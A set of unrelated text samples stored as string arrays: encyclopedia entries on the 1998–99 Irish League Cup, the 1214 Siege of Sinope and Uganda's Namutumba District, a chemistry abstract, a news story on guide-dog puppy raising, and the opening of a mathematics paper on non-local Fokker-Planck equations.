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[ "1998–99 Irish League Cup\n\nThe 1998–99 Irish League Cup (known as the Coca-Cola League Cup for sponsorship reasons) was the 13th edition of Northern Ireland's secondary football knock-out cup competition. ", "It concluded on 4 May 1999 with the final.", "\n\nLinfield were the defending champions after their fourth League Cup win last season; a 1–0 victory over Glentoran in the previous final. ", "This season they became the first club ever to successfully defend the trophy. ", "In a repeat of the previous final, Linfield once again came out on top with a 2–1 victory against Glentoran in the final, lifting the cup for the fifth time and condemning the Glens to defeat in the final for the third season running, which is a record for successive final defeats in the competition that still stands.", "\n\nThe competition was re-structured this season, allowing only the 10 top-flight clubs and the 8 second-tier clubs to enter. ", "This reduced the number of clubs taking part from 32 down to 18.", "\n\nPreliminary round\n\n|}\n\nFirst round\n\n|}\n\nQuarter-finals\n\n|}\n\nSemi-finals\n\n|}\n\nFinal\n\nReferences\n\nLea\nCategory:1998–99 domestic association football cups\n1998–99" ]

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[ "Rationally Designed Chiral Synthons Enabling Asymmetric Z- and E-Selective Vinylogous Aldol Reactions of Aldehydes.", "\nIn a conceptually different approach, highly stereoselective 2-oxonia-Cope rearrangement reactions between rationally designed nonracemic vinylogous aldolation synthons and aldehydes are described to provide δ-hydroxy-α,β-unsaturated esters with excellent enantioselectivities and, for the first time, unprecedented Z- and E-selectivities without the regioselectivity issue." ]

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[ "Siege of Sinope\n\nThe Siege of Sinope in 1214 was a successful siege and capture of Sinope by the Seljuq Turks under their Sultan, Kaykaus I (r. 1211–1220). ", "Sinope was an important port city on the Black Sea coast of modern Turkey, at the time held by the Empire of Trebizond, one of the Byzantine Greek successor states formed after the Fourth Crusade. ", "The siege is described in some detail by the near-contemporary Seljuq chronicler Ibn Bibi. ", "The Trapezuntine emperor Alexios I (r. 1204–1222) led an army to break the siege, but he was defeated and captured, and the city surrendered on 1 November.", "\n\nAccording to Ibn Bibi's account, Kaykaus I decided to embark on the conquest after receiving reports from the frontier that Alexios' troops had been violating Seljuq territory. ", "Upon this, he and his beys gathered those who had been to Sinope and drew up a plan for the conquest, deciding that a long siege would be required. ", "However, a group of scouts (or according to another version of the story, nomads) captured Alexios when he was hunting with a company of 500 men. ", "Upon receiving the captured emperor, Kaykaus I asked for the city's surrender in the name of the emperor, but received a negative response. ", "According to Selçuk-nâme, 1000 troops led by a commander named Behram cut off the city from the sea, burning ships and killing a number of Greeks and Western Europeans in the process. ", "Upon this, the city surrendered.", "\n\nAlthough the primary sources consistently named the leader of the Trapezuntine forces as Alexios, beginning with Fallmerayer earlier scholars used to place the death of David Komnenos, Alexios' younger brother and co-founder of the Trapezuntine empire, during the siege of Sinope. ", "For example, Alexander Vasiliev wrote in 1936, \"the name of Alexius, the first emperor of Trebizond, was of course more familiar ... than the name of his brother David, the real ruler of Sinope at that time. ", "But since the name of David never occurs in the sources after 1214, we may positively conclude that it was David who was slain at the first Turkish capture of Sinope.\" ", "Modern research, however, has shown that he died in exile as a monk in Mount Athos in 1212/3.", "\n\nThe Seljuq capture of Sinope had important consequences: apart from a short period of Trapezuntine recovery in 1254–1265, the city henceforth remained in Turkish hands, cutting the small Trapezuntine state off from overland contact with the metropolitan Byzantine lands of the Empire of Nicaea in western Asia Minor. ", "At the same time, the capture of its ruler forced the Trapezuntines to accept tributary status to the Seljuqs, which lasted until the failure of a Sejuq assault on Trebizond itself in 1222/1223. ", "According to the Byzantinist Warren Treadgold, the loss of Sinope on the one hand \"shielded Trebizond from further attacks from Nicaea\", but also meant that \"henceforth Alexios' claim to be Byzantine emperor rang hollow, and the Empire of Trebizond ceased to be of more than local importance.\"", "\n\nThe Russian Byzantinist Rustam Shukurov argues that the consequences were even more severe for the Byzantine successor states. ", "The loss of that part of northwestern Anatolia, writes Shukurov, \"meant in fact that the Byzantine Greeks lost forever the possibility of a strategic initiative in the northern part of the Byzantine front.\" ", "The sphere of Byzantine control was split into two enclaves, each blockaded by the ujs: a western Anatolian enclave that was destroyed and almost completely assimilated by the 14th century, and an eastern enclave consolidated by the Empire of Trebizond that survived much longer, into the 15th century. ", "Further, the capture of Sinope provided the Seljuks access to new strategic routes of conquest, one aimed at Constantinople and the other at Crimea and the south Russian steppes.", "\n\nReferences\n\nSources \n \n \n \n\nCategory:Conflicts in 1214\nCategory:Battles of the Byzantine–Seljuq Wars\nSinope 1214\nSinope 1214\nSinope 1214\nCategory:1214 in Asia\nCategory:History of Sinop, Turkey" ]

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[ "Sweet sorrow\n\nLATHROP - Stacie Eiraf realizes that her 11-year-old daughter, Hannah, may feel heartbreak in a little more than a year when the family says goodbye to a puppy she brought home Saturday.", "\n\nScott Smith\n\nLATHROP - Stacie Eiraf realizes that her 11-year-old daughter, Hannah, may feel heartbreak in a little more than a year when the family says goodbye to a puppy she brought home Saturday.", "\n\nBut Hannah will be consoled by the good she's doing, raising the puppy that will go on to be trained as a guide dog for a blind person. ", "Hannah will pick up some of life's lessons along the way, Eiraf said.", "\n\n\"That's why my daughter really wants to do it,\" Eiraf said. \"", "This is really giving of her time and herself.\"", "\n\nThe Lathrop family was one of 16 from San Joaquin, Stanislaus and Fresno counties on Saturday that received a puppy from Guide Dogs for the Blind.", "\n\nA puppy truck from the organization's San Rafael headquarters stopped in Manteca to make the delivery. ", "The families will keep the puppies, nurturing and training them in obedience for as long as 15 months.", "\n\nThen, the young dogs will return to San Rafael for guide dog training. ", "The dogs eventually will be paired with a blind person.", "\n\nWhile Hannah and the other participants have their dogs, they will participate in weekly meetings aimed at socializing the dogs in a variety of settings and teaching them manners, said Jim Russell, a Guide Dogs for the Blind field representative based in Modesto.", "\n\n\"It is an immense gift to the recipients of the dogs,\" he said. \"", "Without the volunteers, it would be literally impossible to do.\"", "\n\nRussell, who has personally taken in three future guide dogs, said the organization is always looking for volunteers. ", "Guide Dogs for the Blind formed in 1942, and more than 11,000 teams have graduated since.", "\n\nToday, about 2,100 dog-and-volunteer teams are working together.", "\n\nLinda Rubino, who leads a club in the Tracy area and has been part of the organization for 34 years, said she always gets attention, taking out her puppies in their green jackets while out shopping or dining.", "\n\nMost of the dogs are yellow or black Labradors. ", "The club meets about twice each month to play games, talk health issues and work on obedience training, she said.", "\n\n\"It's fun to watch them grow,\" Rubino said. \"", "The dogs are getting as much life skills as we can squeeze in.\"", "\n\nFor the volunteers, it is a good social outlet. ", "Among activities, the handlers and dog teams go to events such as the Ripon Almond Blossom Parade; once a year they take BART; and they ride the ferry to San Francisco.", "\n\n\"We try to do things that blind people do,\" Rubino said. \"", "So the dogs get used to the routine.\"", "\n\nEiraf said that if their first guide dog is a positive experience, she and her husband, Joseph, may allow their 8-year-old daughter, Jordan, to volunteer.", "\n\n\"We'll see what it takes emotionally and if she'll be ready for it,\" Eiraf said. \"", "It's a big commitment.\"" ]

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[ "Namutumba District\n\nNamutumba District, sometimes referred to as Busiki District is a district in Eastern Uganda. ", "It's named after its 'chief town', Namutumba, where the district headquarters are located.", "\n\nLocation\nNamutumba District is bordered by Pallisa District to the north, Kibuku District to the northeast, Butaleja District to the southeast, Bugiri District to the south, Iganga District to the southwest and Kaliro District to the northwest. ", "The district headquarters at Namutumba are located approximately , by road, northeast of Jinja, the largest city in the sub-region. ", "The coordinates of the district are:00 51N, 33 41E.\n\nOverview\nNamutumba District was created by Act of the Ugandan Parliament in 2005 and became operational on 1 July 2006. ", "Prior to that the district was part of Iganga District and was known as Busiki County. ", "Namutumba District is part of Busoga sub-region. ", "The districts that constitute the sub-region include the following: 1. ", "Bugiri District 2. ", "Buyende District 3. ", "Iganga District 4. ", "Jinja District 5. ", "Kaliro District 6. ", "Kamuli District 7. ", "Luuka District 8. ", "Mayuge District 9. ", "Namayingo District and 10. ", "Namutumba District.", "\n\nAccording to the 2002 national census, the Busoga sub-region was home to an estimated 2.5 million people at that time. ", "Namutumba District is divided into the following sub-counties and one town council:\n\nPopulation\nIn 1991, the national population census estimated the district population at about 123,900. ", "The national census in 2002 estimated the population of the district at about 167,700. ", "The annual population growth rate in the district was calculated at 2.7%. ", "It is estimated that the population of Namutumba District in 2012 was approximately 218,900.", "\n\nEconomic activities\nSubsistence agriculture and animal husbandry are the two main economic activities in the district.", "\n\nSee also\n Namutumba\n Busoga sub-region\n Districts of Uganda\n\nReferences\n\nExternal links\n Half of Namutumba Children Malnourished\n\n \nCategory:Districts of Uganda\nCategory:Eastern Region, Uganda\nCategory:Lake Kyoga" ]

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[ "---\nabstract: |\n We prove the superposition principle for probability measure-valued solutions to non-local Fokker-Planck equations, which in turn yields the equivalence between martingale problems for SDEs with jumps and such non-local PDEs with rough coefficients. ", "As an application, we obtain a probabilistic representation for weak solutions of fractional porous media equations.", "\n\n [[**AMS 2010 Mathematics Subject Classification:**]{} 60H10; 60J75; 40K05]{}\n\n [[**Keywords and Phrases:**]{} non-local Fokker-Planck equation; superposition principle; martingale problem; fractional porous media equation.]{}", "\naddress:\n- |\n Michael Röckner: Fakultät für Mathematik, Universität Bielefeld, 33615, Bielefeld, Germany\\\n Email: roeckner@math.uni-bielefeld.de \n- |\n Longjie Xie: School of Mathematics and Statistics, Jiangsu Normal University, Xuzhou, Jiangsu 221000, P.R.China\\\n Email: longjiexie@jsnu.edu.cn \n- |\n Xicheng Zhang: School of Mathematics and Statistics, Wuhan University, Wuhan, Hubei 430072, P.R.China\\\n Email: XichengZhang@gmail.com \nauthor:\n- 'Michael Röckner, Longjie Xie and Xicheng Zhang'\ntitle: 'Superposition principle for non-local Fokker-Planck operators'\n---\n\n[^1]\n\nIntroduction\n============\n\nBackground\n----------\n\nLet $\\cP(\\mR^d)$ be the space of all probability measures on $\\mR^d$ endowed with the weak convergence topology. ", "Let $b:\\mR_+\\times\\mR^d\\to\\mR^d$ be a measurable vector field. ", "In [@Am], Ambrosio studied the connection between the continuity equation $$\\begin{aligned}\n\\label{ce}\n\\p_t\\mu_t=\\div(b\\mu_t),\\end{aligned}$$ and the ordinary differential equation (ODE for short) $$\\begin{aligned}\n\\label{ode}\n\\dif \\omega_t=b_t(\\omega_t)\\dif t.\\end{aligned}$$ The following superposition principle was proved therein: Suppose that $t\\mapsto\\mu_t\\in\\cP(\\mR^d)$ is a solution of (\\[ce\\]) and satisfies $$\\int^T_0\\!\\!\\int_{\\mR^d}\\frac{|b_t(x)|}{1+|x|}\\mu_t(\\dif x)\\dif t<\\infty,\\ \\ \\forall T>0,$$ then there exists a probability measure $\\eta$ on the space $\\mC$ of continuous functions from $\\mR_+$ to $\\mR^d$, which is concentrated on the set of all $\\omega$ such that $\\omega$ is an absolutely continuous solution of (\\[ode\\]), and for every function $f \\in C_b(\\mR^d)$ and all $t\\geq 0$, $$\\int_{\\mR^d} f(x)\\mu_t(\\dif x)=\\int_{\\mC} f\\big(\\omega_t\\big)\\eta(\\dif \\omega).$$ In other words, the measure $\\mu_t$ coincides with the image of $\\eta$ under the evaluation map $\\omega\\mapsto\\omega_t$. Consequently, the well-posedness of ODE (\\[ode\\]) is equivalent to the existence and uniqueness of solutions for the continuity equation (\\[ce\\]). ", "In particular, the well-posedness of ODE (\\[ode\\]) with BV drifts whose distributional divergence belongs to $L^\\infty$ was obtained in a generalized sense. ", "See also [@Am2; @AFFGP; @AT; @ST] and the references therein for further developments.", "\n\nThe stochastic counterpart of the above superposition principle was established by Figalli [@Fi]. ", "In this situation, the continuity equation becomes the Fokker-Planck equation, while the ODE becomes a stochastic differential equation (SDE for short). ", "More precisely, let $X_t$ solve the following SDE in $\\mR^d$: $$\\begin{aligned}\n\\label{sdeb}\n\\dif X_t=b_t(X_t)\\dif t+\\sigma_t(X_t)\\dif W_t,\\end{aligned}$$ where $b: \\mR_+\\times\\mR^{d}\\to\\mR^{d}$ and $\\sigma: \\mR_+\\times\\mR^{d}\\to\\mR^{d}\\otimes\\mR^{d}$ are measurable functions, $W_t$ is a standard Brownian motion defined on some probability space $(\\Omega,\\cF,\\bP)$. Let $\\mu_t\\in\\cP(\\mR^d)$ be the marginal law of $X_t$. By Itô’s formula, $\\mu_t$ solves the following Fokker-Planck equation in the distributional sense $$\\begin{aligned}\n\\label{lfpk}\n\\p_t\\mu_t=\\big(\\sA_t+\\sB_t\\big)^*\\mu_t,\\end{aligned}$$ where for $f\\in C_b^2(\\mR^d)$, $$\\begin{aligned}\n\\label{ab}\n\\sA_t f(x):=\\tr (a_t(x)\\cdot\\nabla^2 f(x)),\\ \\sB_t f(x):=b_t(x)\\cdot\\nabla f(x)\\end{aligned}$$ with $a_t(x)=\\frac{1}{2}(\\sigma_t\\sigma^T_t)(x)$, and $\\sA_t^*$ and $\\sB_t^*$ stand for the adjoint operators of $\\sA_t $ and $\\sB_t$, respectively. ", "When the coefficients $a$ and $b$ are [*bounded*]{} measurable, the superposition principle for equation (\\[lfpk\\]) was proved by Figalli [@Fi Theorem 2.6], which says that every probability measure-valued solution to the Fokker-Planck equation (\\[lfpk\\]) yields a martingale solution for the operator $\\sA_t+\\sB_t$ on the path space $\\mC$ (or equivalently, a weak solution for SDE (\\[sdeb\\])). ", "Later, Trevisan [@Tr] extended it to the following natural [*integrability*]{} assumption: $$\\begin{aligned}\n\\label{Int}\n\\int^T_0\\!\\!\\int_{\\mR^d}\\Big(|b_t(x)|+|a_t(x)|\\Big)\\mu_t(\\dif x)\\dif t<\\infty,\\ \\ \\forall T>0.\\end{aligned}$$ More precisely, for any probability measure-valued solution $\\mu$ of , under , there is a weak solution $X$ to SDE so that for each $t>0$, $$\\begin{aligned}\n\\label{MT1}\n\\mu_t=\\mbox{Law of $X_t$.}\\end{aligned}$$ It should be noticed that if $\\mu_t$ does not have finite first order moment, then may not be satisfied for $b$ and $\\sigma$ with at most linear growth. ", "Recently, in [@BRS], Bogachev, Röckner and Shaposhnikov obtained the superposition principle under the following more natural assumption: $$\\begin{aligned}\n\\int^T_0\\!\\!\\int_{\\mR^d}\\frac{|\\<x,b_t(x)\\>|+|a_t(x)|}{1+|x|^2}\\mu_t(\\dif x)\\dif t<\\infty,\\ \\ \\forall T>0.\\end{aligned}$$ The proofs in [@BRS] depend on quite involved uniqueness results for Fokker-Planck equations obtained in [@BKRS]. ", "The superposition principle obtained in [@Fi; @Tr] has been used in the study of the uniqueness of FPEs with rough coefficients (see e.g. [@Ro-Zh; @Zh3]), probabilistic representations for solutions to non-linear partial differential equations (PDEs for short) [@BM1] as well as distribution dependent SDEs (see [@BM2; @R-Z]).", "\n\nOn the other hand, let $(X_t)_{t\\geq 0}$ be a Feller process in $\\mR^d$ with infinitesimal generator $(\\sL, \\text{Dom}(\\sL))$ (see [@Re-Yo page 88]). ", "One says that $\\sL$ satisfies a positive maximum principle if for all $0\\leq f\\in \\text{Dom}(\\sL)$ reaching a positive maximum at point $x_0\\in\\mR^d$, then $\\sL f(x_0)\\leq 0$. Suppose that $C^\\infty_c(\\mR^d)\\subset\\text{Dom}(\\sL)$. The well-known Courrège theorem states that $\\sL$ satisfies the positive maximum principle if and only if $\\sL$ takes the following form $$\\begin{aligned}\n\\label{e:1.1}\n\\begin{split}\n\\sL f(x)&=\\sum_{i,j=1}^d a_{ij}(x)\\p ^2_{ij} f(x)+\\sum_{i=1}^{d}b_i(x)\\p_if(x)+c(x)f(x)\\\\\n&+\\int_{\\mR^d}\\left(f(x+z)-f(x)-\\1_{|z|\\leq 1}z\\cdot\\nabla f(x)\\right)\\nu_x(\\dif z), \n\\end{split}\\end{aligned}$$ where $a=(a_{ij})_{1\\leq i,j\\leq d}$ is a $d\\times d$-symmetric positive definite matrix-valued measurable function on $\\mR^d$, $b: \\mR^d\\to\\mR^d$, $c:\\mR^d\\to(-\\infty,0]$ are measurable functions and $\\nu_x(\\dif z)$ is a family of Lévy measures (see [@Sch]). ", "In particular, if we let $\\mu_t$ be the marginal law of $X_t$, then by Dynkin’s formula, $$\\p_t\\mu_t=\\sL^*\\mu_t.$$ We naturally ask that for any probability measure-valued solution $\\mu_t$ to the above Fokker-Planck equation, is it possible to find some process $X$ so that $\\mu_t$ is just the law of $X_t$ for each $t\\geq 0$? ", "In the next subsection, under some growth assumptions on the coefficients, we shall give an affirmative answer.", "\n\nSuperposition principle for non-local operators\n-----------------------------------------------\n\nOur aim in this paper is to develp a [*non-local*]{} version of the superposition principle. ", "Let $\\{\\nu_{t,x}\\}_{t\\geq 0,x\\in\\mR^d}$ be a family of Lévy measures over $\\mR^d$, that is, for each $t\\geq 0$ and $x\\in\\mR^d$, $$\\begin{aligned}\n\\label{GT}\ng^\\nu_t(x):=\\int_{B_\\ell}|z|^2\\nu_{t,x}(\\dif z)<\\infty,\\quad \\nu_{t,x}(B^c_\\ell)<\\infty,\\end{aligned}$$ where $\\ell>0$ is a fixed number, and $B_\\ell:=\\{z\\in\\mR^d: |z|<\\ell\\}$. Without loss of generality we may assume $$\\ell\\leq1/\\sqrt{2}.$$ We introduce the following Lévy type operator: for any $f\\in C^2_b(\\mR^d)$, $$\\begin{aligned}\n\\label{aa2}\n\\sN_t f(x):=\\sN^\\nu_t f(x):=\\sN^{\\nu_{t,x}} f(x):=\\int_{\\mR^d}\\Theta_f(x;z)\\nu_{t,x}(\\dif z),\\end{aligned}$$ where $$\\begin{aligned}\n\\label{CA2}\n\\Theta_f(x;z):=f(x+z)-f(x)-\\1_{|z|\\leq \\ell}\\cdot\\nabla f(x).\\end{aligned}$$ Let us consider the following non-local Fokker-Planck equation (FPE for short): $$\\begin{aligned}\n\\label{FPE}\n\\p_t\\mu_t=\\sL_t^*\\mu_t,\\end{aligned}$$ where $\\sL_t$ is a general diffusion operator with jumps, i.e., $$\\begin{aligned}\n\\sL_t:=\\sA_t+\\sB_t+\\sN_t\\end{aligned}$$ with $\\sA_t$ and $\\sB_t$ being defined by (\\[ab\\]) and $\\sN_t$ being defined by . ", "We introduce the following definition of weak solution to equation (\\[FPE\\]).", "\n\n\\[Def11\\] Let $\\mu:\\mR_+\\to\\cP(\\mR^d)$ be a continuous curve. ", "We call $\\mu_t$ a weak solution of the non-local FPE (\\[FPE\\]) if for any $R>0$ and $t>0$, $$\\begin{aligned}\n\\label{CO1}\n\\left\\{\n\\begin{aligned}\n&\\int^t_0\\!\\!\\int_{\\mR^d}\\1_{B_R}(x)\\Big(|a_s(x)|+|b_s(x)|+g^\\nu_s(x)\\Big)\\mu_s(\\dif x)\\dif s<\\infty,\\\\\n&\\int^t_0\\!\\!\\int_{\\mR^d}\\Big(\\nu_{s,x}(B^c_{\\ell\\vee(|x|-R)})+\\1_{B_R}(x)\\nu_{s,x}(B^c_\\ell)\\Big)\\mu_s(\\dif x)\\dif s<\\infty,\n\\end{aligned}\n\\right\\}\\end{aligned}$$ and for all $f\\in C^2_c(\\mR^d)$ and $t\\geq 0$, $$\\begin{aligned}\n\\label{ID}\n\\mu_t(f)=\\mu_0(f)+\\int^t_0\\mu_s(\\sL_s f)\\dif s,\\end{aligned}$$ where $\\mu_t(f):=\\int_{\\mR^d}f(x)\\mu_t(\\dif x)$.\n\nWe point out that unlike the local case considered in [@Am; @BRS; @Fi; @Tr], where the local integrability of the coefficients with respect to $\\mu_t(\\dif x)\\dif t$ implies the well-definedness of the integrals in , it is even not clear whether the above integral in (\\[ID\\]) makes sense in the [*non-local*]{} case since in general $\\sN^\\nu_tf$ does not have compact support for $f\\in C^2_c(\\mR^d)$. This is the reason why we need the second assumption in .", "\n\nUnder , one has $\\int^t_0\\mu_s(|\\sL_s f|)\\dif s<\\infty$. Let us only show $$\\int^t_0\\mu_s(|\\sN^\\nu_s f|)\\dif s<\\infty.$$ Note that for $x,z\\in\\mR^d$, by Taylor’s expansion, there is a $\\theta\\in[0,1]$ such that $$\\begin{aligned}\n\\label{Ta}\nf(x+z)-f(x)-z\\cdot\\nabla f(x)=z_iz_j\\p_i\\p_jf(x+\\theta z)/2.\\end{aligned}$$ Suppose that the support of $f$ is contained in a ball $B_R$. By definition we have $$\\begin{aligned}\n|\\Theta_f(x;z)|&\\leq \\|f\\|_\\infty\\1_{|z|>\\ell}(\\1_{|x+z|<R}+\\1_{|x|<R})+\\|\\nabla^2f\\|_\\infty\\1_{|z|\\leq\\ell}|z|^2\\1_{|x|<R+\\ell}.\\end{aligned}$$ Hence, $$\\begin{aligned}\n\\int^t_0\\mu_s(|\\sN^\\nu_s f|)\\dif s&\\lesssim \\int^t_0\\!\\!\\!\\int_{\\mR^d}\\Big[\\nu_{s,x}(B^c_{\\ell\\vee(|x|-R)})+\\1_{B_{R}}(x)\\nu_{s,x}(B^c_\\ell)\\Big]\\mu_s(\\dif x)\\dif s\\\\\n&\\quad+\\int^t_0\\!\\!\\!\\int_{\\mR^d}\\1_{B_{R+\\ell}}(x)g^\\nu_s(x)\\mu_s(\\dif x)\\dif s<\\infty.\\end{aligned}$$\n\n\\[Rem1\\]Let $u:\\mR_+\\times\\mR^d\\to\\mR$ satisfy that for some $R>0$, $$u\\in L^\\infty_{loc}(\\mR_+; C^2_0(B_R)),\\ \\ \\p_tu_t\\in L^\\infty_{loc}(\\mR_+; C^2_0(B_R)).$$ By a standard approximation, is equivalent to the assertion that for any $u$ as above, $$\\begin{aligned}\n\\label{DJ1}\n\\mu_t(u_t)-\\mu_0(u_0)=\\int^t_0\\mu_s(\\p_su_s+\\sL_su_s)\\dif s.\\end{aligned}$$ Indeed, by mollifying approximation, we may assume that $$u, \\p_tu_t\\in C(\\mR_+; C^2_0(B_R)).$$ For $n\\in\\mN$, define $$u^n_t(x)=\\sum_{j=0}^{n-1}\\left(\\int^t_0\\1_{[j/n,(j+1)/n]}(s)\\dif s\\right)(\\p_s u_s(x))|_{s=j/n}+u_0(x).$$ In view of and by easy calculations, one sees that holds for the above simple $u^n$. Since for each $t\\geq 0$ and $x\\in\\mR^d$, $$\\p_t u^n_t(x)\\to \\p_tu_t(x),\\ u^n_t(x)\\to u_t(x), \\ \\ n\\to\\infty.$$ By taking limits and the dominated convergence theorem, we obtain for $u$.\n\nLet $\\mD$ be the space of all $\\mR^d$-valued cádlág functions on $\\mR_+$, which is endowed with the Skorokhod topology so that $\\mD$ becomes a Polish space. ", "Let $X_t(\\omega)=\\omega_t$ be the canonical process. ", "For $t\\geq 0$, let $\\cB^0_t(\\mD)$ denote the natural filtration generated by $(X_s)_{s\\in[0,t]}$, and let $$\\cB_t:=\\cB_t(\\mD):=\\cap_{s\\geq t}\\cB^0_t(\\mD),\\ \\ \\cB:=\\cB(\\mD):=\\cB_\\infty(\\mD).$$ Now we recall the notion of martingale solutions associated with $\\sL_t$ in the sense of Stroock-Varadhan [@St-Va]. ", "\\[Def21\\] Let $\\mu_0\\in\\cP(\\mR^d)$, $s\\geq 0$ and $\\tau\\geq s$ be a $\\cB_t$-stopping time. ", "We call a probability measure $\\mP\\in\\cP(\\mD)$ a martingale solution (resp. ", "a “stopped” martingale solution) of $\\sL_t$ with initial distribution $\\mu_0$ at time $s$ if\n\n(i) $\\mP(X_t=X_s, t\\in[0,s])=1$ and $\\mP\\circ X_s^{-1}=\\mu_0$.\n\n(ii) For any $f\\in C^2_c(\\mR^d)$, $M^f_t$ (resp. ", "$M^f_{t\\wedge\\tau}$) is a $\\cB_t$-martingale under $\\mP$, where $$\\begin{aligned}\n \\label{MMF}\n M^f_t:=f(X_t)-f(X_s)-\\int^t_s\\sL_r f(X_r)\\dif r,\\ t\\geq s.\\end{aligned}$$\n\nAll the martingale solutions (resp. “", "stopped” martingale solutions) associated with $\\sL_t$ with initial law $\\mu_0$ at time $s$ will be denoted by $\\cM^{\\mu_0}_s(\\sL)$ (resp. ", "$\\cM^{\\mu_0}_{s,\\tau}(\\sL)$). ", "In particular, if $\\mu_0=\\delta_x$ (the Dirac measure concentrated on $x$), we shall write $\\cM^{x}_s(\\sL)=\\cM^{\\delta_x}_s(\\sL)$ for simplify.", "\n\n\\[Re14\\] Under below, by suitable localization technique, (ii) in Definition \\[Def21\\] is equivalent to that for any $f\\in C^2(\\mR^d)$ with $|f(x)|\\leq C\\log(2+|x|)$, $M^f_t$ is a local $\\cB_t$-martingale under $\\mP$.\n\nThroughout this paper, we make the following assumption: $$\\begin{aligned}\n\\label{Assu1}\n\\Gamma^\\nu_{a,b}:=\\sup_{t,x}\\left[\\frac{|a_t(x)|+g^\\nu_t(x)}{1+|x|^2}+\\frac{|b_t(x)|}{1+|x|}+\\hbar^\\nu_t(x)\\right]<\\infty,\\end{aligned}$$ where $g^\\nu_t(x)$ is defined by and $$\\begin{aligned}\n\\label{GT2}\n\\hbar^\\nu_t(x):=\\int_{B_\\ell^c}\\log\\left(1+\\tfrac{|z|}{1+|x|}\\right)\\nu_{t,x}(\\dif z),\\end{aligned}$$ and if $\\nu_{t,x}$ is symmetric, then we define $$\\begin{aligned}\n\\label{sym}\n\\hbar^\\nu_t(x):=\\int_{|z|>1+|x|}\\log\\left(1+\\tfrac{|z|}{1+|x|}\\right)\\nu_{t,x}(\\dif z).\\end{aligned}$$ The main result of this paper is as follows.", "\n\n\\[Main\\] Under , for any weak solution $(\\mu_t)_{t\\geq 0}$ of FPE in the sense of Definition \\[Def11\\], there is a martingale solution $\\mP\\in\\cM^{\\mu_0}_0(\\sL_t)$ such that $$\\mu_t=\\mP\\circ X^{-1}_t,\\ \\ \\forall t\\geq 0.$$\n\n\\[br1\\]Under , condition holds. ", "In fact, it suffices to check that $$\\begin{aligned}\n\\label{DQ1}\n\\sup_{t,x}\\Big(\\nu_{t,x}(B^c_{\\ell\\vee(|x|-R)})+\\1_{B_R}(x)\\nu_{t,x}(B^c_\\ell)\\Big)<\\infty, \\ \\forall R>0.\\end{aligned}$$ By definition we have $$\\begin{aligned}\n\\nu_{t,x}(B^c_{\\ell\\vee(|x|-R)})&\\leq \\int_{B_\\ell^c}\\log\\left(1+\\tfrac{|z|}{1+|x|}\\right)/\\log\\left(1+\\tfrac{\\ell\\vee(|x|-R)}{1+|x|}\\right)\\nu_{t,x}(\\dif z)\\\\\n&=h^\\nu_{t}(x)/\\log\\left(1+\\tfrac{\\ell\\vee(|x|-R)}{1+|x|}\\right)\\leq h^\\nu_{t}(x)/\\log\\left(1+\\tfrac{\\ell}{1+\\ell+R}\\right),\\end{aligned}$$ and $$\\begin{aligned}\n\\1_{B_R}(x)\\nu_{t,x}(B^c_\\ell)&\\leq \\1_{B_R}(x)\\int_{B_\\ell^c}\\log\\left(1+\\tfrac{|z|}{1+|x|}\\right)/\\log\\left(1+\\tfrac{\\ell}{1+|x|}\\right)\\nu_{t,x}(\\dif z)\\\\\n&=\\1_{B_R}(x) h^\\nu_{t}(x)/\\log\\left(1+\\tfrac{\\ell}{1+|x|}\\right)\\leq h^\\nu_{t}(x)/\\log\\left(1+\\tfrac{\\ell}{1+R}\\right).\\end{aligned}$$ Hence, follows by . ", "\\[br2\\]Let $\\nu_{t,x}(\\dif z)=\\kappa_t(x,z)\\dif z/|z|^{d+\\alpha}$ with $\\alpha\\in(0,2)$, that is, $\\sN_t$ is an $\\alpha$-stable like operator.", "\n\n\\(i) If $|\\kappa_t(x,z)|\\leq c(1+|x|)^{\\alpha\\wedge 1}/(1+\\1_{\\alpha=1}\\log(1+|x|))$, then $\\sup_{t,x}\\hbar^\\nu_t(x)<\\infty.$ Indeed, by definition we have $$\\begin{aligned}\n\\hbar^\\nu_t(x)\\lesssim\n\\frac{(1+|x|)^{\\alpha\\wedge 1}}{1+\\1_{\\alpha=1}\\log(1+|x|)}\\int_{B_\\ell^c}\\log\\left(1+\\tfrac{|z|}{1+|x|}\\right)\\frac{\\dif z}{|z|^{d+\\alpha}}.\\end{aligned}$$ We calculate the right hand integral which is denoted by $\\sI$ as follows: using polar coordinates and integration by parts, $$\\begin{aligned}\n\\sI&=c\\int^\\infty_\\ell\\log\\left(1+\\tfrac{r}{1+|x|}\\right)r^{-1-\\alpha}\\dif r\\\\\n&\\lesssim \\log\\left(1+\\tfrac{\\ell}{1+|x|}\\right)+\\int^\\infty_\\ell r^{-\\alpha}\\left(1+|x|+r\\right)^{-1}\\dif r\\\\\n&\\lesssim (1+|x|)^{-1}+(1+|x|)^{-1}\\int^{1+|x|}_\\ell r^{-\\alpha}\\dif r+\\int^\\infty_{1+|x|}r^{-1-\\alpha}\\dif r\\\\\n&\\lesssim (1+|x|)^{-1}+(1+|x|)^{-(\\alpha\\wedge1)}(1+\\1_{\\alpha=1}\\log(1+|x|))+(1+|x|)^{-\\alpha}\\\\\n&\\lesssim (1+|x|)^{-(\\alpha\\wedge1)}(1+\\1_{\\alpha=1}\\log(1+|x|)).\\end{aligned}$$ Thus, we have $\\hbar^\\nu_t(x)\\leq C$.", "\n\n\\(ii) If $\\kappa_t(x,z)$ is symmetric, that is, $\\kappa_t(x,z)=\\kappa_t(x,-z)$, and $|\\kappa_t(x,z)|\\leq c(1+|x|)^{\\alpha}$, $\\alpha\\in(0,2)$. Then $\\sup_{t,x}\\hbar^\\nu_t(x)<\\infty.$ In fact, by (\\[sym\\]) we have for any $\\beta\\in(0,\\alpha\\wedge1)$, $$\\begin{aligned}\n\\hbar^\\nu_t(x)&\\lesssim(1+|x|)^{\\alpha}\\int_{|z|>1+|x|}\\left(1+\\tfrac{|z|}{1+|x|}\\right)^\\beta\\frac{\\dif z}{|z|^{d+\\alpha}}\\\\\n&\\lesssim(1+|x|)^{\\alpha-\\beta}\\int_{|z|>1+|x|}\\frac{\\dif z}{|z|^{d+\\alpha-\\beta}},\\end{aligned}$$ which in turn yields $\\sup_{t,x}\\hbar^\\nu_t(x)<\\infty.$\n\nAs far as we know, there are very few results concerning the superposition principle for non-local operators. ", "In the constant non-local case, the third author of the present paper [@Zh3] used the superposition principle to show the uniqueness of non-local FPEs. ", "Recently, Fournier and Xu [@F-X] proved a non-local version to the superposition principle in a special case, that is, $$\\sN^\\nu_t f(x)=\\int_{\\mR^d}[f(x+z)-f(x)]\\nu_{t,x}(\\dif z),$$ and $(\\mu_t)_{t\\geq 0}$ have finite first order moments, 